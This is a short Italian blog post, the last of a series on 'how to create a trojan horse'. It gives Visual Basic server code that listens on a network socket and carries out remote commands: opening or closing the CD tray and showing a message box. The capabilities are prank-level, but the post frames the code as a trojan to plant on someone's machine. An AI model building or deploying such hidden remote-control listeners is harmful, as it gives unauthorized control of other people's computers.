How to create trojan horse! Creare applicazione client-server Lato server! Ultima parte.

Ultima guida e completiamo l'opera! Nei menu' a dx potrete trovare le altre guide, Lato client e lato server!


Private Sub tcpserver_DataArrival(ByVal bytesTotal As Long)
Dim vdata As String
Dim sdata As String
Dim cdata As String *3
tcpserver.GetData sdata
cdata = Left(sdata, 3)
vdata = Right(sdata, Len(sdata) - 3)
DoCommand cdata, vdata
End Sub

Bene, ora aprite il modulo dove c'è l'unic funzione che avete scritto mciSendString
e andate ad inserire quest'altro pezzo di codice:

Public Function DoCommand(command as String, data as String)
SElect Case LCase(command)
Case "opn"
SendStr = mciSendString("Set cdaudio door open", ReturnStr ,0,0)
Case "cls"
SendStr = mciSendString("Set cdaudio door closed", ReturnStr ,0,0)
Case "msg"
MsgBox data, vbInformation, "Information"
End Select
End Function

:P Fatene buon uso!!!!

Commenti

Posta un commento